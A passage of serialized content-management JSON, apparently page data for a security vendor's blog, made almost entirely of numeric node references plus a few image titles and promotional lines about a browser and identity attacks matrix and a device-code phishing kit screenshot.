9664,"nodeType":865},{},[66052],{"type":961},{"data":66054,"content":66055,"nodeType":866},{},[66056],{"data":66057,"marks":66058,"value":19671,"nodeType":865},{},[],{"data":66060,"content":66061,"nodeType":1049},{},[66062,66071,66080],{"data":66063,"content":66064,"nodeType":1003},{},[66065],{"data":66066,"content":66067,"nodeType":866},{},[66068],{"data":66069,"marks":66070,"value":19684,"nodeType":865},{},[],{"data":66072,"content":66073,"nodeType":1003},{},[66074],{"data":66075,"content":66076,"nodeType":866},{},[66077],{"data":66078,"marks":66079,"value":19694,"nodeType":865},{},[],{"data":66081,"content":66082,"nodeType":1003},{},[66083],{"data":66084,"content":66085,"nodeType":866},{},[66086],{"data":66087,"marks":66088,"value":19704,"nodeType":865},{},[],{"data":66090,"content":66091,"nodeType":866},{},[66092],{"data":66093,"marks":66094,"value":19711,"nodeType":865},{},[],{"data":66096,"content":66097,"nodeType":866},{},[66098,66101,66107],{"data":66099,"marks":66100,"value":19718,"nodeType":865},{},[],{"data":66102,"content":66103,"nodeType":882},{"uri":18999},[66104],{"data":66105,"marks":66106,"value":19725,"nodeType":865},{},[],{"data":66108,"marks":66109,"value":1048,"nodeType":865},{},[],{"data":66111,"content":66112,"nodeType":866},{},[66113,66116,66122],{"data":66114,"marks":66115,"value":19735,"nodeType":865},{},[],{"data":66117,"content":66118,"nodeType":882},{"uri":5636},[66119],{"data":66120,"marks":66121,"value":19742,"nodeType":865},{},[],{"data":66123,"marks":66124,"value":19746,"nodeType":865},{},[],{"data":66126,"content":66129,"nodeType":925},{"target":66127},{"sys":66128},{"id":19751,"type":922,"linkType":923},[],{"data":66131,"content":66132,"nodeType":953},{},[],{"data":66134,"content":66135,"nodeType":866},{},[66136],{"data":66137,"marks":66138,"value":19762,"nodeType":865},{},[],{"data":66140,"content":66141,"nodeType":866},{},[66142,66145,66151],{"data":66143,"marks":66144,"value":1725,"nodeType":865},{},[],{"data":66146,"content":66147,"nodeType":882},{"uri":1728},[66148],{"data":66149,"marks":66150,"value":1734,"nodeType":865},{},[],{"data":66152,"marks":66153,"value":1738,"nodeType":865},{},[],{"entries":66155},{"hyperlink":66156,"inline":66157,"block":66158},[],[],[66159,66163,66165,66172],{"sys":66160,"__typename":1747,"title":66161,"caption":59,"layoutMode":59,"file":66162},{"id":19012},"Browser & Identity Attacks Matrix Screenshot",{"url":29433,"width":29434,"height":29435},{"sys":66164,"__typename":5631,"type":5632,"ctaText":54442,"buttonLabel":54443,"buttonColour":5635,"buttonUrl":5636},{"id":19097},{"sys":66166,"__typename":1747,"title":66167,"caption":66168,"layoutMode":59,"file":66169},{"id":19332},"Device code phishing kit example","Device code phishing kit example.",{"url":66170,"width":66171,"height":18187},"https://images.ctfassets.net/y1cdw1ablpvd/2zbjCCqXRMTvaOr6Xpx2BJ/ccb3000b043b3bbc11a6d2315e66f6f1/Copy_of_Device_code_login_completion.gif",1280,{"sys":66173,"__typename":5631,"type":5632,"ctaText":66174,"buttonLabel":66175,"buttonColour":5635,"buttonUrl":18999},{"id":19751},"Check out the new-look Browser & Identity Attacks Matrix","See it Here",{"items":66177},[],{},"Stop browser attacks with our MITRE-inspired matrix",{"items":66181},[66182,67015,68734],{"__typename":1788,"sys":66183,"content":66184,"title":40383,"synopsis":40384,"hashTags":59,"publishedDate":19780,"slug":40385,"tagsCollection":67005,"authorsCollection":67011},{"id":39422},{"json":66185},{"data":66186,"content":66187,"nodeType":1739},{},[66188,66210,66234,66267,66300,66305,66315,66318,66325,66367,66373,66392,66397,66400,66407,66431,66437,66444,66449,66452,66459,66465,66480,66486,66519,66525,66528,66535,66550,66592,66595,66602,66617,66632,66639,66645,66655,66665,66675,66685,66700,66707,66713,66716,66722,66728,66743,66746,66753,66768,66999],{"data":66189,"content":66190,"nodeType":866},{},[66191,66194,66200,66203,66207],{"data":66192,"marks":66193,"value":39433,"nodeType":865},{},[],{"data":66195,"content":66196,"nodeType":882},{"uri":8759},[66197],{"data":66198,"marks":66199,"value":19437,"nodeType":865},{},[],{"data":66201,"marks":66202,"value":39443,"nodeType":865},{},[],{"data":66204,"marks":66205,"value":39448,"nodeType":865},{},[66206],{"type":961},{"data":66208,"marks":66209,"value":39452,"nodeType":865},{},[],{"data":66211,"content":66212,"nodeType":866},{},[66213,66216,66222,66225,66231],{"data":66214,"marks":66215,"value":39459,"nodeType":865},{},[],{"data":66217,"content":66218,"nodeType":882},{"uri":39462},[66219],{"data":66220,"marks":66221,"value":39467,"nodeType":865},{},[],{"data":66223,"marks":66224,"value":39471,"nodeType":865},{},[],{"data":66226,"content":66227,"nodeType":882},{"uri":39474},[66228],{"data":66229,"marks":66230,"value":39479,"nodeType":865},{},[],{"data":66232,"marks":66233,"value":39483,"nodeType":865},{},[],{"data":66235,"content":66236,"nodeType":866},{},[66237,66240,66246,66249,66255,66258,66264],{"data":66238,"marks":66239,"value":39490,"nodeType":865},{},[],{"data":66241,"content":66242,"nodeType":882},{"uri":39493},[66243],{"data":66244,"marks":66245,"value":39498,"nodeType":865},{},[],{"data":66247,"marks":66248,"value":39502,"nodeType":865},{},[],{"data":66250,"content":66251,"nodeType":882},{"uri":39505},[66252],{"data":66253,"marks":66254,"value":39510,"nodeType":865},{},[],{"data":66256,"marks":66257,"value":39514,"nodeType":865},{},[],{"data":66259,"content":66260,"nodeType":882},{"uri":39517},[66261],{"data":66262,"marks":66263,"value":39522,"nodeType":865},{},[],{"data":66265,"marks":66266,"value":39526,"nodeType":865},{},[],{"data":66268,"content":66269,"nodeType":866},{},[66270,66273,66279,66282,66288,66291,66297],{"data":66271,"marks":66272,"value":39533,"nodeType":865},{},[],{"data":66274,"content":66275,"nodeType":882},{"uri":39536},[66276],{"data":66277,"marks":66278,"value":39541,"nodeType":865},{},[],{"data":66280,"marks":66281,"value":39545,"nodeType":865},{},[],{"data":66283,"content":66284,"nodeType":882},{"uri":39548},[66285],{"data":66286,"marks":66287,"value":39553,"nodeType":865},{},[],{"data":66289,"marks":66290,"value":39557,"nodeType":865},{},[],{"data":66292,"content":66293,"nodeType":882},{"uri":39560},[66294],{"data":66295,"marks":66296,"value":39565,"nodeType":865},{},[],{"data":66298,"marks":66299,"value":39569,"nodeType":865},{},[],{"data":66301,"content":66304,"nodeType":925},{"target":66302},{"sys":66303},{"id":39574,"type":922,"linkType":923},[],{"data":66306,"content":66307,"nodeType":866},{},[66308,66312],{"data":66309,"marks":66310,"value":39583,"nodeType":865},{},[66311],{"type":961},{"data":66313,"marks":66314,"value":39587,"nodeType":865},{},[],{"data":66316,"content":66317,"nodeType":953},{},[],{"data":66319,"content":66320,"nodeType":963},{},[66321],{"data":66322,"marks":66323,"value":39598,"nodeType":865},{},[66324],{"type":961},{"data":66326,"content":66327,"nodeType":866},{},[66328,66331,66337,66340,66346,66349,66355,66358,66364],{"data":66329,"marks":66330,"value":39605,"nodeType":865},{},[],{"data":66332,"content":66333,"nodeType":882},{"uri":24060},[66334],{"data":66335,"marks":66336,"value":39612,"nodeType":865},{},[],{"data":66338,"marks":66339,"value":26083,"nodeType":865},{},[],{"data":66341,"content":66342,"nodeType":882},{"uri":39618},[66343],{"data":66344,"marks":66345,"value":39623,"nodeType":865},{},[],{"data":66347,"marks":66348,"value":38646,"nodeType":865},{},[],{"data":66350,"content":66351,"nodeType":882},{"uri":39505},[66352],{"data":66353,"marks":66354,"value":39633,"nodeType":865},{},[],{"data":66356,"marks":66357,"value":39637,"nodeType":865},{},[],{"data":66359,"content":66360,"nodeType":882},{"uri":12335},[66361],{"data":66362,"marks":66363,"value":39644,"nodeType":865},{},[],{"data":66365,"marks":66366,"value":1048,"nodeType":865},{},[],{"data":66368,"content":66369,"nodeType":866},{},[66370],{"data":66371,"marks":66372,"value":39654,"nodeType":865},{},[],{"data":66374,"content":66375,"nodeType":866},{},[66376,66379,66385,66388],{"data":66377,"marks":66378,"value":39661,"nodeType":865},{},[],{"data":66380,"content":66381,"nodeType":882},{"uri":12335},[66382],{"data":66383,"marks":66384,"value":39668,"nodeType":865},{},[],{"data":66386,"marks":66387,"value":39672,"nodeType":865},{},[],{"data":66389,"marks":66390,"value":39677,"nodeType":865},{},[66391],{"type":961},{"data":66393,"content":66396,"nodeType":925},{"target":66394},{"sys":66395},{"id":39682,"type":922,"linkType":923},[],{"data":66398,"content":66399,"nodeType":953},{},[],{"data":66401,"content":66402,"nodeType":963},{},[66403],{"data":66404,"marks":66405,"value":39694,"nodeType":865},{},[66406],{"type":961},{"data":66408,"content":66409,"nodeType":866},{},[66410,66413,66419,66422,66428],{"data":66411,"marks":66412,"value":873,"nodeType":865},{},[],{"data":66414,"content":66415,"nodeType":882},{"uri":19454},[66416],{"data":66417,"marks":66418,"value":39707,"nodeType":865},{},[],{"data":66420,"marks":66421,"value":39711,"nodeType":865},{},[],{"data":66423,"content":66424,"nodeType":882},{"uri":39517},[66425],{"data":66426,"marks":66427,"value":39718,"nodeType":865},{},[],{"data":66429,"marks":66430,"value":39722,"nodeType":865},{},[],{"data":66432,"content":66433,"nodeType":866},{},[66434],{"data":66435,"marks":66436,"value":39729,"nodeType":865},{},[],{"data":66438,"content":66439,"nodeType":866},{},[66440],{"data":66441,"marks":66442,"value":39737,"nodeType":865},{},[66443],{"type":961},{"data":66445,"content":66448,"nodeType":925},{"target":66446},{"sys":66447},{"id":39742,"type":922,"linkType":923},[],{"data":66450,"content":66451,"nodeType":953},{},[],{"data":66453,"content":66454,"nodeType":963},{},[66455],{"data":66456,"marks":66457,"value":39754,"nodeType":865},{},[66458],{"type":961},{"data":66460,"content":66461,"nodeType":866},{},[66462],{"data":66463,"marks":66464,"value":39761,"nodeType":865},{},[],{"data":66466,"content":66467,"nodeType":866},{},[66468,66471,66477],{"data":66469,"marks":66470,"value":873,"nodeType":865},{},[],{"data":66472,"content":66473,"nodeType":882},{"uri":39770},[66474],{"data":66475,"marks":66476,"value":39775,"nodeType":865},{},[],{"data":66478,"marks":66479,"value":39779,"nodeType":865},{},[],{"data":66481,"content":66482,"nodeType":866},{},[66483],{"data":66484,"marks":66485,"value":39786,"nodeType":865},{},[],{"data":66487,"content":66488,"nodeType":866},{},[66489,66492,66498,66501,66507,66510,66516],{"data":66490,"marks":66491,"value":39793,"nodeType":865},{},[],{"data":66493,"content":66494,"nodeType":882},{"uri":39796},[66495],{"data":66496,"marks":66497,"value":39801,"nodeType":865},{},[],{"data":66499,"marks":66500,"value":39805,"nodeType":865},{},[],{"data":66502,"content":66503,"nodeType":882},{"uri":39808},[66504],{"data":66505,"marks":66506,"value":39813,"nodeType":865},{},[],{"data":66508,"marks":66509,"value":39817,"nodeType":865},{},[],{"data":66511,"content":66512,"nodeType":882},{"uri":3288},[66513],{"data":66514,"marks":66515,"value":39824,"nodeType":865},{},[],{"data":66517,"marks":66518,"value":39828,"nodeType":865},{},[],{"data":66520,"content":66521,"nodeType":866},{},[66522],{"data":66523,"marks":66524,"value":39835,"nodeType":865},{},[],{"data":66526,"content":66527,"nodeType":953},{},[],{"data":66529,"content":66530,"nodeType":963},{},[66531],{"data":66532,"marks":66533,"value":39846,"nodeType":865},{},[66534],{"type":961},{"data":66536,"content":66537,"nodeType":866},{},[66538,66541,66547],{"data":66539,"marks":66540,"value":39853,"nodeType":865},{},[],{"data":66542,"content":66543,"nodeType":882},{"uri":39856},[66544],{"data":66545,"marks":66546,"value":39861,"nodeType":865},{},[],{"data":66548,"marks":66549,"value":39865,"nodeType":865},{},[],{"data":66551,"content":66552,"nodeType":866},{},[66553,66556,66562,66565,66571,66574,66580,66583,66589],{"data":66554,"marks":66555,"value":39872,"nodeType":865},{},[],{"data":66557,"content":66558,"nodeType":882},{"uri":39875},[66559],{"data":66560,"marks":66561,"value":39880,"nodeType":865},{},[],{"data":66563,"marks":66564,"value":39884,"nodeType":865},{},[],{"data":66566,"content":66567,"nodeType":882},{"uri":39887},[66568],{"data":66569,"marks":66570,"value":39892,"nodeType":865},{},[],{"data":66572,"marks":66573,"value":39896,"nodeType":865},{},[],{"data":66575,"content":66576,"nodeType":882},{"uri":39899},[66577],{"data":66578,"marks":66579,"value":39904,"nodeType":865},{},[],{"data":66581,"marks":66582,"value":39908,"nodeType":865},{},[],{"data":66584,"content":66585,"nodeType":882},{"uri":39911},[66586],{"data":66587,"marks":66588,"value":39916,"nodeType":865},{},[],{"data":66590,"marks":66591,"value":39920,"nodeType":865},{},[],{"data":66593,"content":66594,"nodeType":953},{},[],{"data":66596,"content":66597,"nodeType":963},{},[66598],{"data":66599,"marks":66600,"value":39931,"nodeType":865},{},[66601],{"type":961},{"data":66603,"content":66604,"nodeType":866},{},[66605,66608,66614],{"data":66606,"marks":66607,"value":39938,"nodeType":865},{},[],{"data":66609,"content":66610,"nodeType":882},{"uri":1384},[66611],{"data":66612,"marks":66613,"value":39945,"nodeType":865},{},[],{"data":66615,"marks":66616,"value":39949,"nodeType":865},{},[],{"data":66618,"content":66619,"nodeType":866},{},[66620,66623,66629],{"data":66621,"marks":66622,"value":39956,"nodeType":865},{},[],{"data":66624,"content":66625,"nodeType":882},{"uri":39959},[66626],{"data":66627,"marks":66628,"value":315,"nodeType":865},{},[],{"data":66630,"marks":66631,"value":39967,"nodeType":865},{},[],{"data":66633,"content":66634,"nodeType":1458},{},[66635],{"data":66636,"marks":66637,"value":3604,"nodeType":865},{},[66638],{"type":961},{"data":66640,"content":66641,"nodeType":866},{},[66642],{"data":66643,"marks":66644,"value":39981,"nodeType":865},{},[],{"data":66646,"content":66647,"nodeType":866},{},[66648,66652],{"data":66649,"marks":66650,"value":39989,"nodeType":865},{},[66651],{"type":961},{"data":66653,"marks":66654,"value":39993,"nodeType":865},{},[],{"data":66656,"content":66657,"nodeType":866},{},[66658,66662],{"data":66659,"marks":66660,"value":40001,"nodeType":865},{},[66661],{"type":961},{"data":66663,"marks":66664,"value":40005,"nodeType":865},{},[],{"data":66666,"content":66667,"nodeType":866},{},[66668,66672],{"data":66669,"marks":66670,"value":40013,"nodeType":865},{},[66671],{"type":961},{"data":66673,"marks":66674,"value":40017,"nodeType":865},{},[],{"data":66676,"content":66677,"nodeType":866},{},[66678,66682],{"data":66679,"marks":66680,"value":40025,"nodeType":865},{},[66681],{"type":961},{"data":66683,"marks":66684,"value":40029,"nodeType":865},{},[],{"data":66686,"content":66687,"nodeType":866},{},[66688,66691,66697],{"data":66689,"marks":66690,"value":21,"nodeType":865},{},[],{"data":66692,"content":66693,"nodeType":882},{"uri":5481},[66694],{"data":66695,"marks":66696,"value":40042,"nodeType":865},{},[],{"data":66698,"marks":66699,"value":21,"nodeType":865},{},[],{"data":66701,"content":66702,"nodeType":1458},{},[66703],{"data":66704,"marks":66705,"value":40053,"nodeType":865},{},[66706],{"type":961},{"data":66708,"content":66709,"nodeType":866},{},[66710],{"data":66711,"marks":66712,"value":40060,"nodeType":865},{},[],{"data":66714,"content":66715,"nodeType":953},{},[],{"data":66717,"content":66718,"nodeType":866},{},[66719],{"data":66720,"marks":66721,"value":5006,"nodeType":865},{},[],{"data":66723,"content":66724,"nodeType":866},{},[66725],{"data":66726,"marks":66727,"value":1718,"nodeType":865},{},[],{"data":66729,"content":66730,"nodeType":866},{},[66731,66734,66740],{"data":66732,"marks":66733,"value":21,"nodeType":865},{},[],{"data":66735,"content":66736,"nodeType":882},{"uri":13728},[66737],{"data":66738,"marks":66739,"value":2812,"nodeType":865},{},[],{"data":66741,"marks":66742,"value":21,"nodeType":865},{},[],{"data":66744,"content":66745,"nodeType":953},{},[],{"data":66747,"content":66748,"nodeType":963},{},[66749],{"data":66750,"marks":66751,"value":40101,"nodeType":865},{},[66752],{"type":961},{"data":66754,"content":66755,"nodeType":866},{},[66756,66759,66765],{"data":66757,"marks":66758,"value":40108,"nodeType":865},{},[],{"data":66760,"content":66761,"nodeType":882},{"uri":8759},[66762],{"data":66763,"marks":66764,"value":40115,"nodeType":865},{},[],{"data":66766,"marks":66767,"value":40119,"nodeType":865},{},[],{"data":66769,"content":66770,"nodeType":2396},{},[66771,66814,66870,66913,66956],{"data":66772,"content":66773,"nodeType":1869},{},[66774,66784,66794,66804],{"data":66775,"content":66776,"nodeType":1835},{},[66777],{"data":66778,"content":66779,"nodeType":866},{},[66780],{"data":66781,"marks":66782,"value":40136,"nodeType":865},{},[66783],{"type":961},{"data":66785,"content":66786,"nodeType":1835},{},[66787],{"data":66788,"content":66789,"nodeType":866},{},[66790],{"data":66791,"marks":66792,"value":40147,"nodeType":865},{},[66793],{"type":961},{"data":66795,"content":66796,"nodeType":1835},{},[66797],{"data":66798,"content":66799,"nodeType":866},{},[66800],{"data":66801,"marks":66802,"value":40158,"nodeType":865},{},[66803],{"type":961},{"data":66805,"content":66806,"nodeType":1835},{},[66807],{"data":66808,"content":66809,"nodeType":866},{},[66810],{"data":66811,"marks":66812,"value":40169,"nodeType":865},{},[66813],{"type":961},{"data":66815,"content":66816,"nodeType":1869},{},[66817,66837,66846,66855],{"data":66818,"content":66819,"nodeType":1835},{},[66820],{"data":66821,"content":66822,"nodeType":866},{},[66823,66827,66830,66834],{"data":66824,"marks":66825,"value":40183,"nodeType":865},{},[66826],{"type":961},{"data":66828,"marks":66829,"value":40187,"nodeType":865},{},[],{"data":66831,"marks":66832,"value":40192,"nodeType":865},{},[66833],{"type":961},{"data":66835,"marks":66836,"value":40196,"nodeType":865},{},[],{"data":66838,"content":66839,"nodeType":1835},{},[66840],{"data":66841,"content":66842,"nodeType":866},{},[66843],{"data":66844,"marks":66845,"value":40206,"nodeType":865},{},[],{"data":66847,"content":66848,"nodeType":1835},{},[66849],{"data":66850,"content":66851,"nodeType":866},{},[66852],{"data":66853,"marks":66854,"value":40216,"nodeType":865},{},[],{"data":66856,"content":66857,"nodeType":1835},{},[66858,66864],{"data":66859,"content":66860,"nodeType":866},{},[66861],{"data":66862,"marks":66863,"value":40226,"nodeType":865},{},[],{"data":66865,"content":66866,"nodeType":866},{},[66867],{"data":66868,"marks":66869,"value":40233,"nodeType":865},{},[],{"data":66871,"content":66872,"nodeType":1869},{},[66873,66886,66895,66904],{"data":66874,"content":66875,"nodeType":1835},{},[66876],{"data":66877,"content":66878,"nodeType":866},{},[66879,66883],{"data":66880,"marks":66881,"value":40247,"nodeType":865},{},[66882],{"type":961},{"data":66884,"marks":66885,"value":40251,"nodeType":865},{},[],{"data":66887,"content":66888,"nodeType":1835},{},[66889],{"data":66890,"content":66891,"nodeType":866},{},[66892],{"data":66893,"marks":66894,"value":40261,"nodeType":865},{},[],{"data":66896,"content":66897,"nodeType":1835},{},[66898],{"data":66899,"content":66900,"nodeType":866},{},[66901],{"data":66902,"marks":66903,"value":40271,"nodeType":865},{},[],{"data":66905,"content":66906,"nodeType":1835},{},[66907],{"data":66908,"content":66909,"nodeType":866},{},[66910],{"data":66911,"marks":66912,"value":40281,"nodeType":865},{},[],{"data":66914,"content":66915,"nodeType":1869},{},[66916,66929,66938,66947],{"data":66917,"content":66918,"nodeType":1835},{},[66919],{"data":66920,"content":66921,"nodeType":866},{},[66922,66926],{"data":66923,"marks":66924,"value":40295,"nodeType":865},{},[66925],{"type":961},{"data":66927,"marks":66928,"value":40299,"nodeType":865},{},[],{"data":66930,"content":66931,"nodeType":1835},{},[66932],{"data":66933,"content":66934,"nodeType":866},{},[66935],{"data":66936,"marks":66937,"value":40309,"nodeType":865},{},[],{"data":66939,"content":66940,"nodeType":1835},{},[66941],{"data":66942,"content":66943,"nodeType":866},{},[66944],{"data":66945,"marks":66946,"value":40319,"nodeType":865},{},[],{"data":66948,"content":66949,"nodeType":1835},{},[66950],{"data":66951,"content":66952,"nodeType":866},{},[66953],{"data":66954,"marks":66955,"value":40329,"nodeType":865},{},[],{"data":66957,"content":66958,"nodeType":1869},{},[66959,66972,66981,66990],{"data":66960,"content":66961,"nodeType":1835},{},[66962],{"data":66963,"content":66964,"nodeType":866},{},[66965,66969],{"data":66966,"marks":66967,"value":40343,"nodeType":865},{},[66968],{"type":961},{"data":66970,"marks":66971,"value":40347,"nodeType":865},{},[],{"data":66973,"content":66974,"nodeType":1835},{},[66975],{"data":66976,"content":66977,"nodeType":866},{},[66978],{"data":66979,"marks":66980,"value":40206,"nodeType":865},{},[],{"data":66982,"content":66983,"nodeType":1835},{},[66984],{"data":66985,"content":66986,"nodeType":866},{},[66987],{"data":66988,"marks":66989,"value":40366,"nodeType":865},{},[],{"data":66991,"content":66992,"nodeType":1835},{},[66993],{"data":66994,"content":66995,"nodeType":866},{},[66996],{"data":66997,"marks":66998,"value":40376,"nodeType":865},{},[],{"data":67000,"content":67001,"nodeType":866},{},[67002],{"data":67003,"marks":67004,"value":21,"nodeType":865},{},[],{"items":67006},[67007,67009],{"sys":67008,"name":11426},{"id":11425},{"sys":67010,"name":342},{"id":8410},{"items":67012},[67013],{"fullName":11430,"firstName":11431,"jobTitle":11432,"profilePicture":67014},{"url":11434},{"__typename":1788,"sys":67016,"content":67017,"title":25108,"synopsis":25109,"hashTags":59,"publishedDate":25110,"slug":25111,"tagsCollection":68724,"authorsCollection":68730},{"id":23211},{"json":67018},{"data":67019,"content":67020,"nodeType":1739},{},[67021,67027,67051,67061,67067,67072,67082,67087,67090,67097,67103,67158,67164,67169,67172,67179,67185,67190,67197,67203,67311,67316,67321,67327,67332,67339,67345,67351,67406,67412,67417,67422,67429,67435,67441,67448,67454,67483,67489,67494,67500,67542,67548,67555,67561,67566,67572,67578,67583,67589,67618,67624,67629,67632,67639,67645,67651,67657,67662,67668,67674,67679,67685,67690,67696,67701,67707,67713,67716,67723,67736,67742,67758,67979,67985,68011,68232,68238,68244,68435,68441,68620,68623,68630,68636,68642,68652,68655,68662,68677,68692,68699,68702,68709],{"data":67022,"content":67023,"nodeType":866},{},[67024],{"data":67025,"marks":67026,"value":23222,"nodeType":865},{},[],{"data":67028,"content":67029,"nodeType":866},{},[67030,67033,67039,67042,67048],{"data":67031,"marks":67032,"value":23229,"nodeType":865},{},[],{"data":67034,"content":67035,"nodeType":882},{"uri":19454},[67036],{"data":67037,"marks":67038,"value":4241,"nodeType":865},{},[],{"data":67040,"marks":67041,"value":23239,"nodeType":865},{},[],{"data":67043,"content":67044,"nodeType":882},{"uri":23242},[67045],{"data":67046,"marks":67047,"value":23247,"nodeType":865},{},[],{"data":67049,"marks":67050,"value":23251,"nodeType":865},{},[],{"data":67052,"content":67053,"nodeType":866},{},[67054,67058],{"data":67055,"marks":67056,"value":23259,"nodeType":865},{},[67057],{"type":961},{"data":67059,"marks":67060,"value":2157,"nodeType":865},{},[],{"data":67062,"content":67063,"nodeType":866},{},[67064],{"data":67065,"marks":67066,"value":23269,"nodeType":865},{},[],{"data":67068,"content":67071,"nodeType":925},{"target":67069},{"sys":67070},{"id":23274,"type":922,"linkType":923},[],{"data":67073,"content":67074,"nodeType":866},{},[67075,67078],{"data":67076,"marks":67077,"value":23282,"nodeType":865},{},[],{"data":67079,"marks":67080,"value":23287,"nodeType":865},{},[67081],{"type":961},{"data":67083,"content":67086,"nodeType":925},{"target":67084},{"sys":67085},{"id":23292,"type":922,"linkType":923},[],{"data":67088,"content":67089,"nodeType":953},{},[],{"data":67091,"content":67092,"nodeType":963},{},[67093],{"data":67094,"marks":67095,"value":23304,"nodeType":865},{},[67096],{"type":961},{"data":67098,"content":67099,"nodeType":866},{},[67100],{"data":67101,"marks":67102,"value":23311,"nodeType":865},{},[],{"data":67104,"content":67105,"nodeType":1049},{},[67106,67119,67132,67145],{"data":67107,"content":67108,"nodeType":1003},{},[67109],{"data":67110,"content":67111,"nodeType":866},{},[67112,67116],{"data":67113,"marks":67114,"value":23325,"nodeType":865},{},[67115],{"type":961},{"data":67117,"marks":67118,"value":23329,"nodeType":865},{},[],{"data":67120,"content":67121,"nodeType":1003},{},[67122],{"data":67123,"content":67124,"nodeType":866},{},[67125,67129],{"data":67126,"marks":67127,"value":23340,"nodeType":865},{},[67128],{"type":961},{"data":67130,"marks":67131,"value":23344,"nodeType":865},{},[],{"data":67133,"content":67134,"nodeType":1003},{},[67135],{"data":67136,"content":67137,"nodeType":866},{},[67138,67142],{"data":67139,"marks":67140,"value":23355,"nodeType":865},{},[67141],{"type":961},{"data":67143,"marks":67144,"value":23359,"nodeType":865},{},[],{"data":67146,"content":67147,"nodeType":1003},{},[67148],{"data":67149,"content":67150,"nodeType":866},{},[67151,67155],{"data":67152,"marks":67153,"value":23370,"nodeType":865},{},[67154],{"type":961},{"data":67156,"marks":67157,"value":23374,"nodeType":865},{},[],{"data":67159,"content":67160,"nodeType":866},{},[67161],{"data":67162,"marks":67163,"value":23381,"nodeType":865},{},[],{"data":67165,"content":67168,"nodeType":925},{"target":67166},{"sys":67167},{"id":23386,"type":922,"linkType":923},[],{"data":67170,"content":67171,"nodeType":953},{},[],{"data":67173,"content":67174,"nodeType":963},{},[67175],{"data":67176,"marks":67177,"value":23398,"nodeType":865},{},[67178],{"type":961},{"data":67180,"content":67181,"nodeType":866},{},[67182],{"data":67183,"marks":67184,"value":23405,"nodeType":865},{},[],{"data":67186,"content":67189,"nodeType":925},{"target":67187},{"sys":67188},{"id":23410,"type":922,"linkType":923},[],{"data":67191,"content":67192,"nodeType":1458},{},[67193],{"data":67194,"marks":67195,"value":23419,"nodeType":865},{},[67196],{"type":961},{"data":67198,"content":67199,"nodeType":866},{},[67200],{"data":67201,"marks":67202,"value":23426,"nodeType":865},{},[],{"data":67204,"content":67205,"nodeType":1049},{},[67206,67219,67232,67252,67265,67278,67298],{"data":67207,"content":67208,"nodeType":1003},{},[67209],{"data":67210,"content":67211,"nodeType":866},{},[67212,67216],{"data":67213,"marks":67214,"value":23440,"nodeType":865},{},[67215],{"type":961},{"data":67217,"marks":67218,"value":23444,"nodeType":865},{},[],{"data":67220,"content":67221,"nodeType":1003},{},[67222],{"data":67223,"content":67224,"nodeType":866},{},[67225,67229],{"data":67226,"marks":67227,"value":23455,"nodeType":865},{},[67228],{"type":961},{"data":67230,"marks":67231,"value":23459,"nodeType":865},{},[],{"data":67233,"content":67234,"nodeType":1003},{},[67235],{"data":67236,"content":67237,"nodeType":866},{},[67238,67242,67245,67249],{"data":67239,"marks":67240,"value":23470,"nodeType":865},{},[67241],{"type":961},{"data":67243,"marks":67244,"value":23474,"nodeType":865},{},[],{"data":67246,"marks":67247,"value":23479,"nodeType":865},{},[67248],{"type":961},{"data":67250,"marks":67251,"value":23483,"nodeType":865},{},[],{"data":67253,"content":67254,"nodeType":1003},{},[67255],{"data":67256,"content":67257,"nodeType":866},{},[67258,67262],{"data":67259,"marks":67260,"value":23494,"nodeType":865},{},[67261],{"type":961},{"data":67263,"marks":67264,"value":23498,"nodeType":865},{},[],{"data":67266,"content":67267,"nodeType":1003},{},[67268],{"data":67269,"content":67270,"nodeType":866},{},[67271,67275],{"data":67272,"marks":67273,"value":23509,"nodeType":865},{},[67274],{"type":961},{"data":67276,"marks":67277,"value":23513,"nodeType":865},{},[],{"data":67279,"content":67280,"nodeType":1003},{},[67281],{"data":67282,"content":67283,"nodeType":866},{},[67284,67288,67291,67295],{"data":67285,"marks":67286,"value":23524,"nodeType":865},{},[67287],{"type":961},{"data":67289,"marks":67290,"value":23528,"nodeType":865},{},[],{"data":67292,"marks":67293,"value":23533,"nodeType":865},{},[67294],{"type":961},{"data":67296,"marks":67297,"value":23537,"nodeType":865},{},[],{"data":67299,"content":67300,"nodeType":1003},{},[67301],{"data":67302,"content":67303,"nodeType":866},{},[67304,67308],{"data":67305,"marks":67306,"value":23548,"nodeType":865},{},[67307],{"type":961},{"data":67309,"marks":67310,"value":23552,"nodeType":865},{},[],{"data":67312,"content":67315,"nodeType":925},{"target":67313},{"sys":67314},{"id":23557,"type":922,"linkType":923},[],{"data":67317,"content":67320,"nodeType":925},{"target":67318},{"sys":67319},{"id":23563,"type":922,"linkType":923},[],{"data":67322,"content":67323,"nodeType":866},{},[67324],{"data":67325,"marks":67326,"value":21,"nodeType":865},{},[],{"data":67328,"content":67331,"nodeType":925},{"target":67329},{"sys":67330},{"id":23575,"type":922,"linkType":923},[],{"data":67333,"content":67334,"nodeType":1458},{},[67335],{"data":67336,"marks":67337,"value":23584,"nodeType":865},{},[67338],{"type":961},{"data":67340,"content":67341,"nodeType":866},{},[67342],{"data":67343,"marks":67344,"value":23591,"nodeType":865},{},[],{"data":67346,"content":67347,"nodeType":866},{},[67348],{"data":67349,"marks":67350,"value":23598,"nodeType":865},{},[],{"data":67352,"content":67353,"nodeType":1049},{},[67354,67367,67380,67393],{"data":67355,"content":67356,"nodeType":1003},{},[67357],{"data":67358,"content":67359,"nodeType":866},{},[67360,67364],{"data":67361,"marks":67362,"value":23612,"nodeType":865},{},[67363],{"type":961},{"data":67365,"marks":67366,"value":23616,"nodeType":865},{},[],{"data":67368,"content":67369,"nodeType":1003},{},[67370],{"data":67371,"content":67372,"nodeType":866},{},[67373,67377],{"data":67374,"marks":67375,"value":23627,"nodeType":865},{},[67376],{"type":961},{"data":67378,"marks":67379,"value":23631,"nodeType":865},{},[],{"data":67381,"content":67382,"nodeType":1003},{},[67383],{"data":67384,"content":67385,"nodeType":866},{},[67386,67390],{"data":67387,"marks":67388,"value":23642,"nodeType":865},{},[67389],{"type":961},{"data":67391,"marks":67392,"value":23646,"nodeType":865},{},[],{"data":67394,"content":67395,"nodeType":1003},{},[67396],{"data":67397,"content":67398,"nodeType":866},{},[67399,67403],{"data":67400,"marks":67401,"value":23657,"nodeType":865},{},[67402],{"type":961},{"data":67404,"marks":67405,"value":23661,"nodeType":865},{},[],{"data":67407,"content":67408,"nodeType":866},{},[67409],{"data":67410,"marks":67411,"value":23668,"nodeType":865},{},[],{"data":67413,"content":67416,"nodeType":925},{"target":67414},{"sys":67415},{"id":23673,"type":922,"linkType":923},[],{"data":67418,"content":67421,"nodeType":925},{"target":67419},{"